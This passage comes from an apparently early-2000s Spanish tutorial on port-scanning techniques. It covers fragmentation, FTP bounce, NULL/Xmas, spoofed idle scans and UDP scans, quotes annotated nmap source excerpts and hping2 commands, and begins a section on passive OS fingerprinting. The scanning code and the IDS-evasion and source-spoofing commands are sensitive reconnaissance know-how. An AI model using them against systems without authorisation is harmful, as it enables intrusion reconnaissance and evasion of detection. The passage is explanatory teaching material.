tanto es facilmente detectable.  Un  ejemplo de codigo que aplica esto
lo encontramos en el nmap de Fyodor:

   ...
   
   int getidentinfoz(struct in_addr target, int localport, int remoteport,
                  char *owner) {
   
   /* inicio de  la funcion en el que se  aplica dicho metodo, no
voy a copiar las definiciones de variables.  */

   ...

   owner[0] = '\0';
   if ((sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
   { perror("Socket troubles"); exit(1); }
   sock.sin_family = AF_INET;
   sock.sin_addr.s_addr = target.s_addr;
   sock.sin_port = htons(113);
   usleep(50000);

   /* me parece  que esta muy claro la creacion  de un socket() y
la definicion de  la familia, addr y puerto  en lo referente a sock. */

   ...

res = connect(sd, (struct sockaddr *) &sock, sizeof(struct sockaddr_in));
if (res < 0 ) {
  if (o.debugging || o.verbose)
    printf("identd port not active now for some reason ... hope we didn't break
it!\n");
  close(sd);
  return 0;
}

   /*  en el  supuesto de  que  el connect  falle, es  decir <  0
entonces  comprueba if  (o.debugging  || o.verbose)  y ya  ves tu.. */

   ...


sprintf(request,"%hi,%hi\r\n", remoteport, localport);
if (o.debugging > 1) printf("Connected to identd, sending request: %s", request
);
if (write(sd, request, strlen(request) + 1) == -1) {
  perror("identd write");
  close(sd);
  return 0;
}
else if ((res = read(sd, response, 1024)) == -1) {
  perror("reading from identd");
  close(sd);
  return 0;
}
else {
  close(sd);
  if (o.debugging > 1) printf("Read %d bytes from identd: %s\n", res, response)
;

   /* se observa  como si la o.debugging > 1  entonces es que que
se ha conseguido conexion identd.  Despues vemos el intento de write()
y de  read() con identd y la  salida del numero de  bytes leidos desde
identd en caso de llevarse a cabo */

   ...


  if ((p = strchr(response, ':'))) {
    p++;
    if ((q = strtok(p, " :"))) {
      if (!strcasecmp( q, "error")) {
        if (strstr(response, "HIDDEN-USER") || strstr(response, "hidden-user"))
{
          printf("identd returning HIDDEN-USER, giving up on it\n");
          return -1;
        }
        if (o.debugging) printf("ERROR returned from identd for port %d\n", rem
oteport);
   return 0;
      }
      if ((os = strtok(NULL, " :"))) {
        if ((p = strtok(NULL, " :"))) {
          if ((q = strchr(p, '\r'))) *q = '\0';
          if ((q = strchr(p, '\n'))) *q = '\0';
          strncpy(owner, p, 512);
          owner[512] = '\0';
        }
      }
    }
  }
}
return 1;
}

   /* se observa como despues si localiza : en la cadena response
(la enviada por identd).  Despues,  se observa el intento de averiguar
el usuario, cuya salida comprueba que no sea HIDDEN-USER o hidden-user
ya que esto querria decir que no se puede saber */


        Fragmentation scanning: Este metodo  se basa en una tecnica no
totalmente nueva sino  que es una variacion de  otras tecnicas, ya que
en realidad, y como mostrare en el ejemplo de codigo es un scan basado
en SYN o FIN pero con pequeños paquetes fragmentados.  En realidad, se
mandan  una  pareja  de  pequeños  fragmentos  IP  al  host  remoto  a
estudiar.  El  principal  problema  es que  algunos  programas  tienen
problemas para tratar  este tipo de paquetes.  La  ventaja es que este
metodo de escaneo es mas dificil de detectar y filtrar por los IDS. 
        A continuacion, detallo un ejemplo en C de dicha tecnica:

   ...
   
int send_small_fragz(int sd, struct in_addr *source, struct in_addr *victim,
                     int sport, int dport, int flags) {
           
   /* inicio de la funcion en la que se ve un ejemplo practico de
uso de este metodo */

   ...

struct pseudo_header {
/* for computing TCP checksum, see TCP/IP Illustrated p. 145 */
  unsigned long s_addy;
  unsigned long d_addr;
  char zer0;
  unsigned char protocol;
  unsigned short length;
};

   /* haz lo  que dice fyodor en su comentario  y te enteraras un
poco mas de lo que significa esta estructura. Ademas, te recomiendo no
solo que veas la  p.  145 sino que leas TCP/IP Illustrated  vol. 1 y 2
si  quieres realmente  tener un  control del  funcionamiento  de redes
TCP/IP */

        ...

char packet[sizeof(struct ip) + sizeof(struct tcphdr) + 100];
struct ip *ip = (struct ip *) packet;
struct tcphdr *tcp = (struct tcphdr *) (packet + sizeof(struct ip));
struct pseudo_header *pseudo = (struct pseudo_header *) (packet + sizeof(struct
ip) - sizeof(struct pseudo_header));
char *frag2 = packet + sizeof(struct ip) + 16;
struct ip *ip2 = (struct ip *) (frag2 - sizeof(struct ip));
int res;
struct sockaddr_in sock;
int id;

   /*  definiciones de  estructuras  y variables,  fijate en  las
estructuras de  tipo ip, tcphdr y  pseudo_header.  Realmente necesitas
conceptos de programacion de sockets  bajo C si quieres entenderlo; te
recomiendo   Unix  Networking   Programming   vol.  1   y   2  de   R.
Stevens. Tampoco me parece el  proposito de este manual explicar en si
lo  que es  la programacion  de sockets  en C,  unicamente  mostrar el
codigo usado para las tecnicas de escaneo especificadas. */

        ...

sock.sin_family = AF_INET;
sock.sin_port = htons(dport);

sock.sin_addr.s_addr = victim->s_addr;

bzero((char *)packet, sizeof(struct ip) + sizeof(struct tcphdr));

   /* definicion de familia, puerto y direccion de sock.. */

   ...

pseudo->s_addy = source->s_addr;
pseudo->d_addr = victim->s_addr;
pseudo->protocol = IPPROTO_TCP;
pseudo->length = htons(sizeof(struct tcphdr));

tcp->th_sport = htons(sport);
tcp->th_dport = htons(dport);
tcp->th_seq = rand() + rand();

tcp->th_off = 5 /*words*/;
tcp->th_flags = flags;

tcp->th_win = htons(2048); /* Who cares */

tcp->th_sum = in_cksum((unsigned short *)pseudo,
                       sizeof(struct tcphdr) + sizeof(struct pseudo_header));


   /* Estamos hablando de  raw sockets. Vemos pues, la definicion
de variables de las  estructuras pseudo (pseudo_header) y tcp (tcphdr)
*/

   ...

bzero((char *) packet, sizeof(struct ip));
ip->ip_v = 4;
ip->ip_hl = 5;
ip->ip_len = htons(sizeof(struct ip) + 16);
id = ip->ip_id = rand();
ip->ip_off = htons(MORE_FRAGMENTS);
ip->ip_ttl = 255;
ip->ip_p = IPPROTO_TCP;
ip->ip_src.s_addr = source->s_addr;
ip->ip_dst.s_addr = victim->s_addr;
#if HAVE_IP_IP_SUM
ip->ip_sum= in_cksum((unsigned short *)ip, sizeof(struct ip));
#endif
if (o.debugging > 1) {
  printf("Raw TCP packet fragment #1 creation completed!  Here it is:\n");
  hdump(packet,20);
}
if (o.debugging > 1)
  printf("\nTrying sendto(%d , packet, %d, 0 , %s , %d)\n",
        sd, ntohs(ip->ip_len), inet_ntoa(*victim),
        (int) sizeof(struct sockaddr_in));
if ((res = sendto(sd, packet, ntohs(ip->ip_len), 0,
                  (struct sockaddr *)&sock, sizeof(struct sockaddr_in))) == -1)
  {
    perror("sendto in send_syn_fragz");
    return -1;
  }
if (o.debugging > 1) printf("successfully sent %d bytes of raw_tcp!\n", res);

   /*  Vemos como  inicialmente  se prepara  la  cabecera ip  del
primer frag que  se envia al host remoto; puedes  ver como se rellenan
las variables de la estructura ip. Despues, se ve como comprueba si la
creacion del paquete ha sido satisfactoria y lo intenta enviar. */

   ...

bzero((char *) ip2, sizeof(struct ip));
ip2->ip_v= 4;
ip2->ip_hl = 5;
ip2->ip_len = htons(sizeof(struct ip) + 4);
ip2->ip_id = id;
ip2->ip_off = htons(2);
ip2->ip_ttl = 255;
ip2->ip_p = IPPROTO_TCP;
ip2->ip_src.s_addr = source->s_addr;
ip2->ip_dst.s_addr= victim->s_addr;
#if HAVE_IP_IP_SUM
ip2->ip_sum = in_cksum((unsigned short *)ip2, sizeof(struct ip));
#endif
if (o.debugging > 1) {
  printf("Raw TCP packet fragment creation completed!  Here it is:\n");
  hdump(packet,20);
}
if (o.debugging > 1)

  printf("\nTrying sendto(%d , ip2, %d, 0 , %s , %d)\n", sd,
         ntohs(ip2->ip_len), inet_ntoa(*victim), (int) sizeof(struct sockaddr_i
n));
if ((res = sendto(sd, (void *)ip2, ntohs(ip2->ip_len), 0,
                  (struct sockaddr *)&sock, (int) sizeof(struct sockaddr_in)))
== -1)
  {
    perror("sendto in send_tcp_raw frag #2");
    return -1;
  }

return 1;
}

   /*  se ve  en  esta ultima  parte  de codigo  la creacion  del
segundo paquete, comprobacion  de que todo va bien  e intento de envio
al host remoto. */


   FTP  bouncer: bueno,  este metodo  de  escaneo se  basa en  la
caracteristica de  algunos servidores de ftp que  permiten usarlo como
"proxy", es decir,  crear una server-DTP activo que  te permita enviar
cualquier fichero a  cualquier otro server.  La tecnica  en si para el
proposito de escaneo de puertos consiste en conectar por ftp al server
y mediante el  comando PORT declarar el "User-DTP"  pasivo que escucha
en el puerto que queremos saber si esta abierto.  Despues, se actua de
la  siguiente  forma: se  hace  un LIST  del  directorio  actual y  el
resultado  sera  enviado  al   canal  Server-DTP.  Si  el  puerto  que
comprobamos  esta abierto  todo  ocurre con  normalidad generando  las
respuestas 150 y  226 pero si el puerto  esta cerrado obtendremos "425
Can't build data connection: Connection refused.".  Este metodo, es en
parte no lo suficientemente rapido pero  aun asi puede ser util ya que
es dificil de tracear por parte del server remoto.
    Un ejemplo de implementacion de esta tecnica en codigo C: (nmap)

    ...

portlist bounce_scan(struct hoststruct *target, unsigned short *portarray,
                     struct ftpinfo *ftp) {

    /* vemos el inicio de la funcion que aplica esta tecnica */

    ...

int starttime,  res , sd = ftp->sd,  i=0;
char *t = (char *)&target->host;
int retriesleft = FTP_RETRIES;
char recvbuf[2048];
char targetstr[20];
char command[512];

#ifndef HAVE_SNPRINTF
sprintf(targetstr, "%d,%d,%d,%d,0,", UC(t[0]), UC(t[1]), UC(t[2]), UC(t[3]));
#else
  snprintf(targetstr, 20, "%d,%d,%d,%d,0,", UC(t[0]), UC(t[1]), UC(t[2]), UC(t[
3]));
#endif

   /*  simplemente  definicion  de  variables y  usa  snprintf  o
sprintf segun si se tiene o no */

   ...

starttime = time(NULL);
if (o.verbose || o.debugging)
  printf("Initiating TCP ftp bounce scan against %s (%s)\n",
         target->name,  inet_ntoa(target->host));
for(i=0; portarray; i++) {
#ifndef HAVE_SNPRINTF
  sprintf(command, "PORT %s%i\r\n", targetstr, portarray);
#else
  snprintf(command, 512, "PORT %s%i\r\n", targetstr, portarray);
#endif

   /* inicio del escaneo, definicion de bucle para ir cambiando
puerto (portarray) */

   ...

  if (send(sd, command, strlen(command), 0) < 0 ) {
    perror("send in bounce_scan");
    if (retriesleft) {
      if (o.verbose || o.debugging)
        printf("Our ftp proxy server hung up on us!  retrying\n");
      retriesleft--;
      close(sd);
      ftp->sd = ftp_anon_connect(ftp);
      if (ftp->sd < 0) return target->ports;
      sd = ftp->sd;
      i--;
    }
    else {
      fprintf(stderr, "Our socket descriptor is dead and we are out of retries.
Giving up.\n");
      close(sd);
      ftp->sd = -1;
      return target->ports;
    }
  } else {
    res = recvtime(sd, recvbuf, 2048,15);
    if (res <= 0) perror("recv problem from ftp bounce server\n");
    else {
      recvbuf[res] = '\0';
  if (o.debugging) printf("result of port query on port %i: %s",
                            portarray,  recvbuf);
      if (recvbuf[0] == '5') {
        if (portarray > 1023) {
        fprintf(stderr, "Your ftp bounce server sucks, it won't let us feed bog
us ports!\n");
        exit(1);
      }


      /* en esta  parte de code mira que envia  con send() y comprueba
que el  envio ha sido correcto  y la recepcion  tambien, comprueba que
hace  uso de ftp_anon_connect(),  funcion que  podras encontrar  en el
codigo fuente de nmap en nmap.c, pero que yo no he copiado aqui por no
alargar mas  la explicacion, el  nombre ya indica obviamente  para que
sirve. Puedes ver que cuando  recibe bien y "if (o.debugging) entonces
saca en pantalla el resultado del query al puerto.  */

      ...

      else {
        fprintf(stderr, "Your ftp bounce server doesn't allow priviliged ports,
skipping them.\n");
        while(portarray && portarray < 1024) i++;
        if (!portarray) {
          fprintf(stderr, "And you didn't want to scan any unpriviliged ports.
Giving up.\n");
          /*      close(sd);
          ftp->sd = -1;
          return *ports;*/
          /* screw this gentle return crap!  This is an emergency! */
          exit(1);
        }
      }
      }

      /* en caso de que no se consiga query a ningun puerto */

      ...

    else
      if (send(sd, "LIST\r\n", 6, 0) > 0 ) {
        res = recvtime(sd, recvbuf, 2048,12);
        if (res <= 0)  perror("recv problem from ftp bounce server\n");
        else {
          recvbuf[res] = '\0';
          if (o.debugging) printf("result of LIST: %s", recvbuf);
          if (!strncmp(recvbuf, "500", 3)) {
            /* fuck, we are not aligned properly */
            if (o.verbose || o.debugging)
              printf("misalignment detected ... correcting.\n");
             res = recvtime(sd, recvbuf, 2048,10);
          }
          if (recvbuf[0] == '1' || recvbuf[0] == '2') {
            if (o.verbose || o.debugging) printf("Port number %i appears good.\
n", portarray);
            addport(&target->ports, portarray, IPPROTO_TCP, NULL);
            if (recvbuf[0] == '1') {
            res = recvtime(sd, recvbuf, 2048,5);
            recvbuf[res] = '\0';
            if (res > 0) {
              if (o.debugging) printf("nxt line: %s", recvbuf);
              if (recvbuf[0] == '4' && recvbuf[1] == '2' &&
                  recvbuf[2] == '6') {


                deleteport(&target->ports, portarray, IPPROTO_TCP);
                if (o.debugging || o.verbose)
                  printf("Changed my mind about port %i\n", portarray);
              }
            }
            }
          }
        }
      }
    }
  }
}

   /* empieza con  el LIST al server. Ademas  vemos que comprueba
si no hay  una alineacion correcta y la  corrige. Finalmente añade los
puertos  que   comprueba  que   estan  abiertos  y..   (ver  siguiente
comentario) */
 
if (o.debugging || o.verbose)
  printf("Scanned %d ports in %ld seconds via the Bounce scan.\n",
         o.numports, (long) time(NULL) - starttime);
return target->ports;
}
             
   /* final  de la funcion, devuelve los  puertos abiertos, final
del bounce scan */

       Envio de  ACKs: este metodo se  basa en el envio  de un paquete
ACK. El metodo de analisis de la respuesta RST puede ser:

       1. fijarse en el valor del TTL
       2. fijarse en el valor de win

       1. Si  el  puerto  esta  abierto  entonces  encontramos  en  la
          respuesta un valor de ttl menor de 64.
       2. Si el puerto esta abierto  encontramos un valor de win en la
          respuesta distinto de 0.

     Pero, esta tecnica  de escaneo no se cumple  en todo tipo de
sistemas y su implementacion no esta muy clara. Si quieres saber mas sobre este metodo puedes leer Phrack 49; articulo 15 de Uriel Maimon.


       Null  scan: este metodo  se basa  en el  envio de  paquetes sin
ningun  flag  en  la  cabecera  TCP,  pero, el  incluir  en  los  bits
reservados (RES1, RES2) no influye.

       En caso de  que el puerto este abierto,  no se recibe respuesta
del  host  remoto pero  en  el  caso de  estar  cerrado  se recibe  un
RST|ACK. Este  tipo de escaneo  solo funciona en  caso de que  el host
remoto sea  unix (BSD sockets).   En la version  1.49 del Nmap  aun no
estaba implementado, actualmente  si; pero no tengo las  fuentes de la
ultima version asi que tendras que buscarlo.

       Para realizar este tipo de pruebas con el hping2 puedes hacer:

       $ hping2 127.0.0.1 -c 1 -p 80

       y en caso de estar cerrado el puerto 80 se recibira un RST|ACK.
       
       Pero, este metodo, puede no  ser valido desde el momento en que
los hosts remotos pueden chequear paquetes sin flags.

       Xmas scan: este metodo es digamos antonimo al NULL ya que en el
todas los  flags estan  activados, es decir,  con SYN, ACK,  FIN, RST,
URG, PSH.y  de nuevo los bits  reservados no influyen  en el resultado
del escaneo  y de nuevo solo  funcionara contra host  remotos que sean
unix, ya que se basa en  la implementacion de la pila TCP/IP que hacen
sistemas unix/linux/bsd.

       En caso de que el puerto este abierto, no se recibe respuesta y
en caso de que este cerrado se recibe un RST|ACK. En lo que se refiere
a las fuentes pasa lo mismo que con el null scan.

       Para realizar esta prueba con  el hping2 tendras que hacer, por
ejemplo:

       $ hping2 127.0.0.1 -c 1 -p 80 -F -S -R -P -A -U -X -Y


       Spoofed scan  a traves  de un 'host  dormido': este  metodo de
escaneo destaca, claro está,  porque aunque sea detectable, no detecta
al  que está  escaneando sino  al 'host  dormido' (considerado  A) (de
actividad 0) que  es utilizado para el escaneo.   Para esta tecnica se
puede usar hping2 y se basa en la variacion del id de los paquetes que
envia A  (host dormido).  Para que se  entienda: Se usara  hping2 para
enviar paquetes TCP con unos flags determinados.

       Exactamente lo  que se  hace es monitorizar  la actividad  de A
para asi obtener el incremento del id que inicialmente es de +1 ya que
no  tiene  actividad.  A  continuacion,  se  enviaran  un paquete  SYN
spoofeado con  la ip del host A  al puerto que queramos  saber si esta
abierto del  host remoto (considerado  B).  Si el  puerto de B  al que
enviamos dichos  paquetes esta abierto  devolvera un paquete SYN  y un
ACK a  A (host dormido),  forzando a B  a mandar un  RST, ya que  A no
inicio dicha  conexion y no  quiere continuar la  comunicacion.  Esto,
hace que A  (host silencioso), tenga actividad y  por tanto que cambie
drasticamente su id,  por tanto, sabremos de esta  forma que el puerto
esta abierto. 

     Lo que hay que puntualizar es que es no es muy sencillo encontrar
un host remoto en el que realmente no haya actividad y ademas no todos
los  citados servidores  sirven puesto  que no  incrementas  su numero
inicial   de  secuencia  de   la  misma   forma.   Para   obtener  una
monitorizacion de la actividad de A (host dormido) se tendra que:

   $ hping2 A -r
HPING B (ppp0 xxx.yyy.zzz.jjj): no flags are set, 40 headers + 0 data bytes
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=0 ttl=64 id=xxx win=0 time=1.3 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=1 ttl=64 id=+1 win=0 time=80 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=2 ttl=64 id=+1 win=0 time=89 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=3 ttl=64 id=+1 win=0 time=90 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=4 ttl=64 id=+1 win=0 time=91 ms
...

    Para enviar un paquete SYN spoofeado:

    $ hping2 B -a A -S -p puerto
ppp0 default routing interface selected (according to /proc)
HPING 127.0.0.1 (ppp0 127.0.0.1): S set, 40 headers + 0 data bytes
...

    Y entonces  si el  puerto al que  hemos enviado  los paquetes
está  abierto,  vemos  como  en  la monitorizacion  de  A  se observa:

...
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=17 ttl=64 id=+1 win=0 time=92 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=18 ttl=64 id=+1 win=0 time=84 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=19 ttl=64 id=+2 win=0 time=83 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=20 ttl=64 id=+3 win=0 time=92 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=21 ttl=64 id=+1 win=0 time=91 ms
...


   Escaneando  UDP mediante  error de  ICMP port  unreachable: En
este metodo  encontramos una primera  diferencia, se usa  el protocolo
UDP,  no TCP. Aunque  dicho protocolo  es mas  simple, es  mas dificil
usarlo  para escanear,  debido  a  que los  puertos  abiertos no  usan
digamos  la funcion  fatica y  los puertos  cerrados no  tienen porque
enviar un mensaje de error  ante nuestros envios.  Pero, la mayoria de
los hosts  mandan un mensaje de error  ICMP_PORT_UNREACH cuando envias
un paquete (UDP) a un puerto  UDP cerrado.  Esto puede ser usado para,
por exclusion,  saber los  puertos que estan  abiertos pero no  es muy
viable, porque tampoco  se tiene la seguridad de que  el error de ICMP
llegue a  nosotros y  es ciertamente lento,  e incluso mas  cuando nos
encontramos con  un host que  limita el numero  de mensajes de  ICMP a
enviar,  como  se  ha  comentado  anteriormente en  los  metodos  para
averiguar el  tipo de OS  que presenta una maquina.  Ademas, necesitas
acceso  de root para  poder construir  raw ICMP  socket para  leer los
puertos inalcanzables.  Un ejemplo de aplicacion de esta tecnica en C:
(nmap)

portlist udp_scan(struct hoststruct *target, unsigned short *portarray) {

   /* inicio de la funcion que pone en practica este metodo */

   ...

  int icmpsock, udpsock, tmp, done=0, retries, bytes = 0, res,  num_out = 0;
  int i=0,j=0, k=0, icmperrlimittime, max_tries = UDP_MAX_PORT_RETRIES;
  unsigned short outports[MAX_SOCKETS_ALLOWED];
  unsigned short numtries[MAX_SOCKETS_ALLOWED];
  struct sockaddr_in her;
  char senddata[] = "blah\n";
  unsigned long starttime, sleeptime;
  struct timeval shortwait = {1, 0 };
  fd_set  fds_read, fds_write;

  bzero( (char *) outports, o.max_sockets * sizeof(unsigned short));
  bzero( (char *) numtries, o.max_sockets * sizeof(unsigned short));

    /*  como puedes ver,  preliminares, pero  importantes, puesto
que sino no entenderas el resto del code. */


  icmperrlimittime = 60000;
  sleeptime = (target->rtt)? ( target->rtt) + 30000 : 1e5;
if (o.wait) icmperrlimittime = o.wait;
starttime = time(NULL);
FD_ZERO(&fds_read);
FD_ZERO(&fds_write);
if (o.verbose || o.debugging)
printf("Initiating UDP (raw ICMP version) scan against %s (%s) using wait dela
y of %li usecs.\n", target->name,  inet_ntoa(target->host), sleeptime);
if ((icmpsock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0)
  perror("Opening ICMP RAW socket");
if ((udpsock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)
  perror("Opening datagram socket");

unblock_socket(icmpsock);
her.sin_addr = target->host;
her.sin_family = AF_INET;

    /* se  observa como icmperrlimittime hace que  no estropee el
scan el hecho de que algunos  SOs pongan limites al numero de mensajes
de error ICMP por tiempo. Abre raw socket y dgram socket. */

    ...
 
while(!done) {
  tmp = num_out;
  for(i=0; (i < o.max_sockets && portarray[j]) || i < tmp; i++) {
    close(udpsock);
    if ((udpsock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)
      perror("Opening datagram socket");
    if ((i > tmp && portarray[j]) || numtries > 1) {
      if (i > tmp) her.sin_port = htons(portarray[j++]);
      else her.sin_port = htons(outports);
      FD_SET(udpsock, &fds_write);
      FD_SET(icmpsock, &fds_read);
      shortwait.tv_sec = 1; shortwait.tv_usec = 0;
      usleep(icmperrlimittime);
      res = select(udpsock + 1, NULL, &fds_write, NULL, &shortwait);
       if (FD_ISSET(udpsock, &fds_write))
          bytes = sendto(udpsock, senddata, sizeof(senddata), 0,
                         (struct sockaddr *) &her, sizeof(struct sockaddr_in));
      else {
        printf("udpsock not set for writing port %d!",  ntohs(her.sin_port));
        return target->ports;
      }
      if (bytes <= 0) {
        if (errno == ECONNREFUSED) {
          retries = 10;
          do {
            printf("sendto said connection refused on port %d but trying again
anyway.\n", ntohs(her.sin_port));
            usleep(icmperrlimittime);
            bytes = sendto(udpsock, senddata, sizeof(senddata), 0,
                          (struct sockaddr *) &her, sizeof(struct sockaddr_in))
;
            printf("This time it returned %d\n", bytes);
          } while(bytes <= 0 && retries-- > 0);
        }
        if (bytes <= 0) {
          printf("sendto returned %d.", bytes);
          fflush(stdout);
          perror("sendto");
        }
      }
      if (bytes > 0 && i > tmp) {
        num_out++;
        outports = portarray[j-1];
      }
    }
  }
  usleep(sleeptime);
  tmp = listen_icmp(icmpsock, outports, numtries, &num_out, target->host, &targ
et->ports);
  if (o.debugging) printf("listen_icmp caught %d bad ports.\n", tmp);
  done = !portarray[j];
  for (i=0,k=0; i < o.max_sockets; i++)
    if (outports) {
      if (++numtries > max_tries - 1) {
        if (o.debugging || o.verbose)
          printf("Adding port %d for 0 unreachable port generations\n",
                 outports);
        addport(&target->ports, outports, IPPROTO_UDP, NULL);
        num_out--;
        outports = numtries = 0;
      }
      else {
        done = 0;
        outports[k] = outports;
        numtries[k] = numtries;
        if (k != i)
          outports = numtries = 0;
        k++;
      }
    }
  if (num_out == o.max_sockets) {
  printf("Numout is max sockets, that is a problem!\n");
  sleep(1);
  }
}

   /* si  analizas este  fragmento de codigo  (copia un  poco mas
grande  de  lo normal,  pero  es que  es  mas  entendible asi.  Puedes
observar que  se repite el proceso  varias veces; dado  el problema de
que  algunas  veces  los paquetes  ICMP  de  error  no nos  lleguen  a
nosotros, asi  es una forma de  asegurarse. Ademas, puedes  ver que en
todo, si falla algo, te devuelve  justamente el error. Lo mejor es que
analices tu mismo el codigo. */

   ...
       
if (o.debugging || o.verbose)
  printf("The UDP raw ICMP scanned %d ports in  %ld seconds with %d parallel so
ckets.\n", o.numports, time(NULL) - starttime, o.max_sockets);
close(icmpsock);
close(udpsock);
return target->ports;
}
   
   /*  final de la  funcion, devuelve  puertos, saca  en pantalla
datos del escaneo, etc. */

     
       Escaneo UDP basado en recvfrom() y write(): este metodo arregla
el problema  de que los errores  ICMP de port  unreachable solo puedan
ser leidos  por el root.  Para saber si  ha sido recibido un  error de
ICMP basta con usar recvfrom() y se recibira ECONNREFUSED ("Connection
refused", errno 111) si se ha recibido y EAGAIN("Try Again", errno 13)
si no se ha recibido. 
       Un  ejemplo de  este metodo  implementado en  C  lo encontramos
nuevamente en nmap.

portlist lamer_udp_scan(struct hoststruct *target, unsigned short *portarray) {

    /* inicio  de funcion  que implementa este  metodo, no  voy a
copiar  las  definiciones de  variables  e  inicializacion del  primer
socket.   Si quieres  verlo completo  revisa las  fuentes de  nmap por
ejemplo /nmap-1.49/nmap.c */

    ...


if (o.wait) sleeptime = o.wait;
else sleeptime =  calculate_sleep(target->host) + 60000;
if (o.verbose || o.debugging)
  printf("Initiating UDP scan against %s (%s), sleeptime: %li\n", target->name,
         inet_ntoa(target->host), sleeptime);
starttime = time(NULL);

     /* temporizador/saca en pantalla que se inicia el escaneo */

     ...

for(i = 0 ; i < o.max_sockets; i++)
  trynum =  portno = 0;
while(portarray[j]) {
  for(i=0; i < o.max_sockets && portarray[j]; i++, j++) {
    if (i >= last_open) {
      if ((sockets = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1)
        {perror("datagram socket troubles"); exit(1);}
      block_socket(sockets);
      portno = portarray[j];
    }
    her.sin_port = htons(portarray[j]);
    bytes = sendto(sockets, data, sizeof(data), 0, (struct sockaddr *) &her,
                   sizeof(struct sockaddr_in));
    usleep(5000);
    if (o.debugging > 1)
      printf("Sent %d bytes on socket %d to port %hi, try number %d.\n",
             bytes, sockets, portno, trynum);
    if (bytes < 0 ) {
      printf("Sendto returned %d the FIRST TIME!@#$!, errno %d\n", bytes,
             errno);
      perror("");
      trynum = portno = 0;
      close(sockets);
    }
  }

   /* envio de datos al puerto a escanear. Comprueba por ti mismo
el codigo */

  last_open = i;
  /* Might need to change this to 1e6 if you are having problems*/
  usleep(sleeptime + 5e5);
  for(i=0; i < last_open ; i++) {
    if (portno) {
      unblock_socket(sockets);
      if ((bytes = recvfrom(sockets, response, 1024, 0,
                            (struct sockaddr *) &stranger,
                            &sockaddr_in_size)) == -1)
        {
          if (o.debugging > 1)
            printf("2nd recvfrom on port %d returned %d with errno %d.\n",
                   portno, bytes, errno);
          if (errno == EAGAIN /*11*/)
            {
              if (trynum < 2) trynum++;
              else {
                if (RISKY_UDP_SCAN) {
                  printf("Adding port %d after 3 EAGAIN errors.\n", portno);
                  addport(&target->ports, portno, IPPROTO_UDP, NULL);
                }
                else if (o.debugging)
                  printf("Skipping possible false positive, port %d\n",
                         portno);
                trynum = portno = 0;
                close(sockets);
              }
            }
          else if (errno == ECONNREFUSED /*111*/) {
            if (o.debugging > 1)
              printf("Closing socket for port %d, ECONNREFUSED received.\n",
                     portno);
            trynum = portno = 0;
            close(sockets);
          }
          else {
            printf("Curious recvfrom error (%d) on port %hi: ",
                   errno, portno);
            perror("");
            trynum = portno = 0;
            close(sockets);
          }
        }
      else /*bytes is positive*/ {
        if (o.debugging || o.verbose)
          printf("Adding UDP port %d due to positive read!\n", portno);

        addport(&target->ports,portno, IPPROTO_UDP, NULL);
        trynum = portno = 0;
        close(sockets);
      }
    }
  }

   ...

  /* Update last_open, we need to create new sockets.*/
  for(i=0, k=0; i < last_open; i++)
    if (portno) {
      close(sockets);
      sockets[k] = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
      /*      unblock_socket(sockets[k]);*/
      portno[k] = portno;
      trynum[k] = trynum;
      k++;
    }
last_open = k;
  for(i=k; i < o.max_sockets; i++)
    trynum = sockets = portno = 0;
}

/* observa en este fragmento de  codigo como se cumple a la perfeccion
la teoria de explicacion de  este metodo. Me parece un codigo bastante
simple  de analizar  asi que  mirate todos  los if's  y  lo entenderas
perfectamente (siempre que tengas conocimientos de TCP/IP/C */

   ...

if (o.debugging)
  printf("UDP scanned %d ports in %ld seconds with %d parallel sockets\n",
         o.numports, (long) time(NULL) - starttime, o.max_sockets);
return target->ports;
}

   /* fin de la funcion, datos sobre el escaneo, devuelve puertos */

   Escaneo de servicios RPC: es relativamente facil hacer un scan
de  los puertos que  ofrecen servicios  rpc, bastante  rapido y  en la
mayoria de los casos no se dejan logs en el host remoto.  Pero, debido
a  que  han  sido  descubiertas bastantes  vulnerabilidades  en  estos
servicios ciertos sysadmins  han optado por bloquear el  acceso a este
tip
#450
-------------------------------------------------------
CONTINUACION
-------------------------------------------------------

   Fingerprinting pasivo
   ~~~~~~~~~~~~~~~~~~~~~

   El fingerprinting pasivo, en realidad, se basa en lo mismo que
el    fingerprinting   tradicional    pero   la    implementacion   es
distinta. Esta, se hace mediante un sniffer que tracea el host remoto.

   Como  ves, en  realidad, no  somos nosotros  los  que enviamos
paquetes sino que simplemente nos dedicamos a recoger los paquetes que
son enviados por otros.

   Por  tanto, se  ve aqui  una primera  diferencia,  tenemos que
tener acceso a una de las maquinas que este en la red interna del host
remoto o del  host remoto en si, aunque esta  ultima posibilidad en la
mayoria de los casos ya implicaria el conocimiento del OS del host.

   Las cuatro cosas que comprobare en este tipo de fingerprinting
son la TTL, el tamaño de  ventana (window size), el Don't Fragment bit
y el  TOS. Pero  aun esta  por estudiar la  posibilidad de  fijarse en
otras cosas que  podrian servir en ciertos casos  para distinguir unos
OSs de otros; pero, en este manual, me centrare en unicamente en estos
cuatro aspectos.  Para diferenciar unos sistemas  operativos de otros,
habra que combinar estas cuatro pruebas.

   Otras de las  cosas que se podrian estudiar  seria el id, ISN,
opciones de TCP/IP...

   Este sistema no  es infalible y funcionara con  unos OSs mejor
que con otros y claro esta.
     

        Por  ejemplo,  mediante el  uso  de  ethereal,  se loggea  una
peticion  www mediante  el puerto  80.   Si seleccionamos  uno de  los
paquetes vemos lo siguiente:

   183-BARC-X45.libre.retevision.es -> 97-VIGO-X12.libre.retevision.es
   Arrival Time: Jan 17, 2001 21:54:36.2724      
   Internet Protocol -> version: 4
   Type of service: 0x00 (TOS)
   Flags: 0x04 -> .1.. = Don't fragment: Set
   Time to live: 58 (TTL)
